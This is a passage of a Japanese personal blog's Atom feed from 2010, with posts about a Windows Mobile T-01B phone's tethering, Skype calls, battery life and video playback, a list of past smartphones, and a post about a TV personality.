&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;一応この方法ならWindows Liveをプッシュにしてる人でも楽にできるね。&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:e2d02342-5129-4aaa-bb70-70588fad60c1" class="wlWriterEditableSmartContent"&gt;&lt;div id="b47279ce-12b2-486f-b7e6-695b399b09ea" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=h4XCWbfoczA" target="_new"&gt;&lt;img src="http://lh4.ggpht.com/_toMCQOU2NRI/TMoKQsAfzDI/AAAAAAAAAMc/3wnmNDTgqIY/video676f81be8bab%5B2%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('b47279ce-12b2-486f-b7e6-695b399b09ea'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/h4XCWbfoczA&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/h4XCWbfoczA&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3325370083470591327?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3325370083470591327/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3325370083470591327&amp;isPopup=true' title='3 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3325370083470591327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3325370083470591327'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/t-01b-bluetooth.html' title='T-01B Bluetooth と パケット通信を同時に'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_toMCQOU2NRI/TMoKQsAfzDI/AAAAAAAAAMc/3wnmNDTgqIY/s72-c/video676f81be8bab%5B2%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4583961056159959157</id><published>2010-10-18T04:48:00.001+09:00</published><updated>2010-11-06T00:04:46.020+09:00</updated><title type='text'>Windows Mobile（Phone）でSkype音声通話</title><content type='html'>&lt;p&gt;さて、以前にも同じようなことをやった記憶があるがもう一度。&lt;/p&gt; &lt;p&gt;今度はT-01Bで試してみた。&lt;/p&gt; &lt;p&gt;Skypeのバージョンは3.0。この後、開発が中止されているためアップデートされていない。&lt;/p&gt; &lt;p&gt;CPU処理速度を中だと音が途切れる現象が発生。&lt;/p&gt; &lt;p&gt;高に設定すると音が途切れることなく通話することができる。（テストした場所は名古屋周辺。）&lt;/p&gt; &lt;p&gt;あと、サスペンドにはいると通話ができ泣くなる。&lt;/p&gt; &lt;p&gt;エコーキャンセル機能は有効無効両方試した結果、有効じゃないとノイズが多いようだ。&lt;/p&gt; &lt;p&gt;どうやらSnapDragon以上の処理能力を持つプロセッサが搭載されてる端末ならできるっぽい。&lt;/p&gt; &lt;p&gt;3900mAhのバッテリーで試したところ、連続通話の限界は4~5時間ぐらいじゃないかな？&lt;/p&gt; &lt;p&gt;これだけできるんだから開発再開してくれ、頼む・・・。 &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;T-01BとiPhone（JailBroken）で3G回線でSkypeの通話をテストした。21時~22時の間ではかなり実用的。&lt;/p&gt; &lt;p&gt;T-01B側はMicroUSBのマイクとイヤホンを使用。&lt;/p&gt; &lt;p&gt;iPhone4側は本体のマイクとスピーカーでハンズフリー状態。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;これは感動した。もう「禁断のアプリ」のためにわざわざauに移動しなくてもいいな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、ここまできたらBluetoothヘッドセットがほしくなるな。&lt;/p&gt; &lt;p&gt;プロファイルはA2DPに対応してないとだめよ。HFPやHSPじゃだめよA2DPじゃないと。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;というわけでSIGMA APOの片耳カナル型Bluetoothヘッドセット「SBT03R」を購入。&lt;/p&gt; &lt;p&gt;マルチ・プロファイル・ペアリング対応なのでA2DP+HFP同時接続で使用中。やっぱりHSPがなぜか使えない。 &lt;p&gt;使ってみた感じは軽いし、つけてても全く気にならない。音質はまぁBluetoothだわ。&lt;/p&gt; &lt;p&gt;ヘッドセットでSkypeの音声を聞くことはできるけど、マイクは本体になってしまう。&lt;/p&gt; &lt;p&gt;ここをなんとかヘッドセットで音声入力もできるものがあれば紹介してもらいたい。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;持ち運び「ながら」つかうのではなく、車とかで設置して使うなら、A2DPのモバイルスピーカーで接続しながら本体のマイクを使えばいいじゃない？って今頃思った。ハンズフリーだし。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4583961056159959157?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4583961056159959157/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4583961056159959157&amp;isPopup=true' title='4 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4583961056159959157'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4583961056159959157'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/windows-mobilephoneskype.html' title='Windows Mobile（Phone）でSkype音声通話'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1113849411973823298</id><published>2010-10-18T01:34:00.001+09:00</published><updated>2010-10-18T08:58:15.428+09:00</updated><title type='text'>T-01B 3900mAhの大容量バッテリーの性能</title><content type='html'>&lt;p&gt;おととい届いていろいろ調べてみている。&lt;/p&gt; &lt;p&gt;CPU処理速度を「高」に設定し、バックライトを最大にし消灯することなく動作させる。&lt;/p&gt; &lt;p&gt;SkypeとmoTweets（1分間更新）で常駐させバッテリーをすべて使い切るまでの時間を検証した。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;結果は11時間。所々ブラウザ（Opera Mobile 10）を使った時もあった。&lt;/p&gt; &lt;p&gt;途中プロセスが正常終了させることができず残っていたので、実際は11時間以上持つかもしれない。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;充電には&lt;a href="http://www.pocketgames.jp/item_detail/itemId,21/"&gt;このバッテリーチャージャ&lt;/a&gt;を使った。&lt;/p&gt; &lt;p&gt;結果、充電完了まで15時間必要だった。なんだろうこれ・・・。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;充電時間が長すぎるため、以下の検証結果は理論計算で。&lt;/p&gt; &lt;p&gt;設定&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;CPU処理速度：高&lt;/p&gt; &lt;p&gt;バックライト：自動&lt;/p&gt; &lt;p&gt;1分放置でサスペンド&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これで測ってみると2時間で10%を使用。&lt;/p&gt; &lt;p&gt;というわけで単純計算で連続待ち受け時間は約20時間でしょう。&lt;/p&gt; &lt;p&gt;以上、お疲れ様でした。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-1113849411973823298?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/1113849411973823298/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=1113849411973823298&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1113849411973823298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/1113849411973823298'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/t-01b-3900mah.html' title='T-01B 3900mAhの大容量バッテリーの性能'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-9095082021248561951</id><published>2010-10-17T00:08:00.001+09:00</published><updated>2010-10-17T00:08:01.096+09:00</updated><title type='text'>福田麻衣さん大丈夫か?</title><content type='html'>&lt;p&gt;俺の中でトップに君臨する福田麻衣さん。いろいろ調べてみると、この人は大丈夫なのか?と思うことが多々。&lt;/p&gt; &lt;p&gt;「FNS地球特捜隊ダイバスター」という番組に出演してて知って最近になっていろいろ調べてみた。&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:2404508b-a0e0-4893-aacd-1675e7b09325" class="wlWriterEditableSmartContent"&gt;&lt;div id="f9c953f1-7899-49e4-bf70-aea9c5dc86e1" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=W2p2fDq6k7E" target="_new"&gt;&lt;img src="http://lh5.ggpht.com/_toMCQOU2NRI/TLm_z_DcudI/AAAAAAAAAMA/97EgUTEAG_k/videoc64f146701b1%5B3%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('f9c953f1-7899-49e4-bf70-aea9c5dc86e1'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/W2p2fDq6k7E&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/W2p2fDq6k7E&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;ああ、大丈夫なんだろうか。めちゃきれいなのに女捨ててるような・・・。&lt;/p&gt; &lt;p&gt;まぁ芸能人になるなら何でもしないといけないということですね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;この人ダイバスターやめちゃったのかな？っていうかダイバスターまだ続いてるのかな？&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-9095082021248561951?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/9095082021248561951/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=9095082021248561951&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/9095082021248561951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/9095082021248561951'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/blog-post_17.html' title='福田麻衣さん大丈夫か?'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh5.ggpht.com/_toMCQOU2NRI/TLm_z_DcudI/AAAAAAAAAMA/97EgUTEAG_k/s72-c/videoc64f146701b1%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-922122194651002802</id><published>2010-10-16T16:08:00.001+09:00</published><updated>2010-10-16T16:08:32.953+09:00</updated><title type='text'>T-01Bの大容量バッテリーが届いたよ！</title><content type='html'>&lt;p&gt;9月26日に注文したのがやっと届きました！&lt;/p&gt; &lt;p&gt;3900mAhのほうでスタンドがないと困っていたのですが、その問題も解決。&lt;/p&gt; &lt;p&gt;方法は以下の画像で。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;横置き&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_toMCQOU2NRI/TLlPX6CNzSI/AAAAAAAAALg/j0h1iSX-ves/s1600-h/Picture%203%5B7%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="Picture 3" border="0" alt="Picture 3" src="http://lh6.ggpht.com/_toMCQOU2NRI/TLlPYeAHu7I/AAAAAAAAALk/3sV4KGHNoFc/Picture%203_thumb%5B3%5D.jpg?imgmax=800" width="512" height="384"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;縦置きだと転びますよね。そこで使うのがこれです。&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_toMCQOU2NRI/TLlPY2J8zKI/AAAAAAAAALo/sVczfdlReB4/s1600-h/Picture%206%5B5%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="Picture 6" border="0" alt="Picture 6" src="http://lh3.ggpht.com/_toMCQOU2NRI/TLlPZhKLOmI/AAAAAAAAALs/Z551_7dthA8/Picture%206_thumb%5B3%5D.jpg?imgmax=800" width="512" height="384"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;こんな感じで立ちます。&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_toMCQOU2NRI/TLlPaGYOX6I/AAAAAAAAALw/ZBoHd-hw7qI/s1600-h/Picture%207%5B4%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="Picture 7" border="0" alt="Picture 7" src="http://lh4.ggpht.com/_toMCQOU2NRI/TLlPawpHxFI/AAAAAAAAAL0/CvdH_1rXljU/Picture%207_thumb%5B2%5D.jpg?imgmax=800" width="512" height="384"&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;おまけの厚さ&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_toMCQOU2NRI/TLlPbfS3eYI/AAAAAAAAAL4/jbr6aSGasXw/s1600-h/Picture%205%5B4%5D.jpg"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="Picture 5" border="0" alt="Picture 5" src="http://lh3.ggpht.com/_toMCQOU2NRI/TLlPcJtRDPI/AAAAAAAAAL8/CjYCtwrIFLQ/Picture%205_thumb%5B2%5D.jpg?imgmax=800" width="512" height="384"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-922122194651002802?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/922122194651002802/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=922122194651002802&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/922122194651002802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/922122194651002802'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/t-01b_16.html' title='T-01Bの大容量バッテリーが届いたよ！'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_toMCQOU2NRI/TLlPYeAHu7I/AAAAAAAAALk/3sV4KGHNoFc/s72-c/Picture%203_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-6017572974876806536</id><published>2010-10-16T08:42:00.001+09:00</published><updated>2010-10-16T08:44:46.246+09:00</updated><title type='text'>今までに使ったスマートフォン</title><content type='html'>&lt;p&gt;ふと思ったので紹介やちょっとした感想を含めて使った時系列順に書き出してみる。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;すべて自分なりに調整をした後の感想&lt;/p&gt; &lt;p&gt;・T-01B&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;現在使用中。アップデート後にバグがなくなり使いやすくなった。MSIMEがまともに使えないからAtok（プリインストール）必須。処理性能は十分な速さ。（満足はしません）&lt;/p&gt; &lt;p&gt;有機ELで発色は綺麗だが、炎天下じゃ見えん。静電式ディスプレイで細かいポインティングがしにくい。&lt;/p&gt; &lt;p&gt;NX!UIが予想以上に使いやすい。AndroidのUIだけどね。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;・T-01A&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;初めて使ったSnapDragonのWindows Mobile端末。&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;処理速度は高速。ディスプレイもTFTで見やすい。これにキーボードがついてるだけでよかった。&lt;/p&gt; &lt;p&gt;初期から入っているTodayアプリ「Stripe Menu」が途轍もなく使いにくい。&lt;/p&gt; &lt;p&gt;SnapDragon以上の性能がないとブラウザが重くて使えん。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;・X01HT&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;SoftBank1台目のスマートフォン。&lt;/p&gt; &lt;p&gt;なんでこのタイミングで使ってるの？っていうのは聞かないでね。&lt;/p&gt; &lt;p&gt;解像度がQVGAと小型だが、電話とチャット、メールだけの用途ならかなり使える。Skypeの通話も一応できた。&lt;/p&gt; &lt;p&gt;キーボード入力の拾いこぼしもなくかなり使いやすい。&lt;/p&gt; &lt;p&gt;画面が小さくてオフィス系はきつい。&lt;/p&gt; &lt;p&gt;横のホイールが何かとありがたい。&lt;/p&gt; &lt;p&gt;赤外線ついてます。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;・HT-01A&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;Advanced Wnnという謎の日本語入力ソフトが入っている。入力こぼしが激しい。&lt;/p&gt; &lt;p&gt;Touch Flo 3Dが予想以上に使える。&lt;/p&gt; &lt;p&gt;入力の拾いこぼしがなければ普通に使える端末。&lt;/p&gt; &lt;p&gt;できる人はROM書き換えで何とかなるかも。&lt;/p&gt; &lt;p&gt;自分はROM焼きしてネットにつながらなくなってる状態で放置。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;・Willcom 03&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;ディスプレイ面のタッチキーが使いにくい。&lt;/p&gt; &lt;p&gt;キーボード入力がしやすい。&lt;/p&gt; &lt;p&gt;WVGAっで画面はでかいけど、動画をみたりブラウザを使うにはCPUの処理速度不足。&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;それに通信速度が（ｒｙ。&lt;/p&gt; &lt;p&gt;赤外線とワンセグ付き。赤外線ありがたいなぁ。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;・W-zero3[es]&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;一番初めに使ったスマートフォン。よく覚えてないけど今じゃ使い物にならんだろうな。&lt;/p&gt; &lt;p&gt;よくわからんけど、これを使った時の感動はやばかった。&lt;/p&gt; &lt;p&gt;MSIMEでも入力の拾いこぼしがなく使いやすい。高校の帰りの電車でSkypeでチャットしてたなぁ。&lt;/p&gt; &lt;p&gt;通信速度が遅くてブラウザは使えん。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;なんだかんだでX01HTって使いやすかったなぁ。SoftBank初期にしてコミュニケーション用となら完成されてたような。&lt;/p&gt; &lt;p&gt;次はAndroidに流れたいね。かなり先になるけど。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-6017572974876806536?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/6017572974876806536/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=6017572974876806536&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6017572974876806536'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/6017572974876806536'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2010/10/windows-mobile.html' title='今までに使ったスマートフォン'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8533936880462565915</id><published>2010-10-12T05:05:00.001+09:00</published><updated>2010-10-15T01:21:03.356+09:00</updated><title type='text'>Windows Mobile端末でSnapDragonの実力を検証</title><content type='html'>&lt;p&gt;Windows MobileのT-01Bを使って、どの程度の処理ができるかを試してみた。&lt;/p&gt; &lt;p&gt;今回行ったのは&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;PlayStationのエミュレータの動作テスト&lt;/p&gt; &lt;p&gt;高解像度の動画再生&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;PlayStationのエミュレータの動作は、60fpsを維持することができる。試したソフトは家に転がっていた「Time Crisis」というシューティングゲーム。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;動画再生のテストでは「TCPMP」でどの程度の画質で動画が再生できるかを調べてみた。&lt;/p&gt; &lt;p&gt;動画のエンコーダーは「Free Video Converter」というソフトを使用。&lt;/p&gt; &lt;p&gt;基本フリーだが、映像のレートの上限が9Mbpsとなっている。&lt;/p&gt; &lt;p&gt;TCPMPのビデオドライバーは「DirectDraw」だと正常に再生されないため、「Raw フレームバッファー」を選択。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;検証に使った動画はCounter Strike : Sourceのフラグムービー「SLIFE」と「No Way」。&lt;/p&gt; &lt;p&gt;これらの動画の解像度はHD（1280*720）。&lt;/p&gt; &lt;p&gt;結果は、ベンチマーク測定でエラーが出るためフィーリングで。&lt;/p&gt; &lt;p&gt;この記事の最後にできるだけ高品質で滑らかに再生できた動画のスクリーンショットと再生しているところの映像を貼り付けます。&lt;/p&gt; &lt;p&gt;まず、T-01Bの解像度が一応WVGAなので動画の比率を維持したまま横幅を限界まで合わせる。&lt;/p&gt; &lt;p&gt;レートは以下の通り&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;映像&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;コーデック:DivX5&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;解像度:800*450&lt;/p&gt; &lt;p&gt;レート:9Mbps&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;音声&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;コーデック:MP3&lt;/p&gt; &lt;p&gt;周波数:44.1KHz&lt;/p&gt; &lt;p&gt;チャンネル:2（Stereo）&lt;/p&gt;&lt;/blockquote&gt; &lt;blockquote&gt; &lt;p&gt;レート:128Kbps&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;再生したところ、バックグラウンドで何か処理をさせていない限りはストレスなく見ることができる。&lt;/p&gt; &lt;p&gt;次のテストでは動画の解像度をHDで試そうとすると1008*1008が限界といわれたので1008*567に。&lt;/p&gt; &lt;p&gt;これはさすがにカクカク。10～15fpsぐらい。&lt;/p&gt; &lt;p&gt;次のテストの910*512で所々カクつく。&lt;/p&gt; &lt;p&gt;画質から見ても800*450を超えたところから自分の目じゃ判別不可能。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;というわけで自分なりのこのテストの結果は最初に記載している設定がベスト。&lt;/p&gt; &lt;p&gt;ここまできれいに再生できるとは思ってなかった。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;映像&amp;amp;スクリーンショット（ブログのレイアウトが崩れないように、あえて横向きに掲載します。）&lt;/p&gt; &lt;p&gt;お決まりのルールで「Skype」と「moTweets」は常駐したままです。&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:d31eee4d-d119-4d3a-8ac5-83a1ae55c35d" class="wlWriterEditableSmartContent"&gt;&lt;div id="ea76dc2a-9a95-4a49-9bcc-67d33f9ff0af" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=at0SJiSIBx4" target="_new"&gt;&lt;img src="http://lh5.ggpht.com/_toMCQOU2NRI/TLct7YPsbNI/AAAAAAAAALc/o2anEO-Ei_o/videoff8e93b7c2cd%5B2%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('ea76dc2a-9a95-4a49-9bcc-67d33f9ff0af'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/at0SJiSIBx4&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/at0SJiSIBx4&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; 